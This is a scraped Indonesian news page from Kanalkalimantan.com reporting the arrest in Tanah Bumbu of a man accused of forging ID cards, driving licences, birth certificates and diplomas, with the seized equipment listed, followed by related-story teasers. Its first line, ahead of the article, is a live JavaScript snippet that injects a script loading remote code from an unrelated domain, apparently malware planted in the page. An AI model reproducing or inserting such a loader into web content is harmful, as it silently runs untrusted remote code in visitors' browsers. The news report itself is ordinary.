(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Unit Reskrim Polsek Simpang Empat, Kabupaten Tanah Bumbu, Kalimantan Selatan menangkap seorang pemuda berinisial FA (28) atas dugaan pemalsuan dokumen.
Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas Polres Tanah Bumbu AKP I Made Rasa mengungkapkan bahwa pelaku telah melakukan pemalsuan berbagai dokumen mulai dari Surat Izin Mengemudi (SIM), Kartu Tanda Penduduk (KTP) hingga akta kelahiran dan surat-surat lainnya.
Berdasarkan informasi dari masyarakat, pelaku sering menawarkan jasanya melalui media sosial untuk membuat atau mencetak KTP dan surat-surat lainnya secara ilegal demi keuntungan pribadi.
Setelah mendapat pesanan melalui WA (WhatsApp), pelaku kemudian membuat surat sesuai dengan pesanan dengan nominal harga yang bervariasi sesuai dokumen atau surat-surat yang ingin dicetak.
“Atas adanya informasi dari masyarakat, yang ditindaklanjuti oleh Unit Reskrim Polsek Simpang Empat, dimana petugas melakukan penyelidikan dan pada Jumat 29 Juli 2022 sekitar pukul sepuluh, petugas menangkap pelaku FA yang diduga melakukan tindak pidana pemalsuan surat,” kata AKP Made.
Pelaku diketahui seorang karyawan swasta itu ditangkap di Jalan Amandit RT 001, Desa Baroqah, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu, kemudian dibawa ke rumahnya di Jalan Transmigrasi, Perumahan Plajau Indah RT 06, Desa Baroqah, Kecamatan Simpang Empat.
Di kediaman pelaku, polisi menyita sejumlah barang bukti yang digunakan pelaku untuk memalsukan dokumen seperti satu buah laptop merk Lenovo warna hitam, satu printer merk Epson L3110 warna hitam, dua lembar Sim BII umum palsu, satu lembar KTP palsu, 48 lembar blangko KTP palsu, 90 lembar blangko kosong SIM dan NPWP, 62 lembar blangko Kartu Keluarga (KK), 43 lembar blangko kosong akta kelahiran, 5 lembar ijazah palsu, satu pak plastik tranparan sticker, 4 botol tinta print merk Epson serta satu buah HP merk Oppo warna putih metalik.
Untuk mempertanggungjawabkan perbuatannya, pelaku bersama barang bukti kemudian dibawa ke Mapolres Tanah Bumbu untuk menjalani proses hukum lebih lanjut dan terancam dijerat dengan tindak pidana pemalsuan surat sebagaimana yang dimaksud dalam Pasal 263 ayat (1) KUHP dengan ancaman hukuman maksimal 6 tahun penjara.(Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.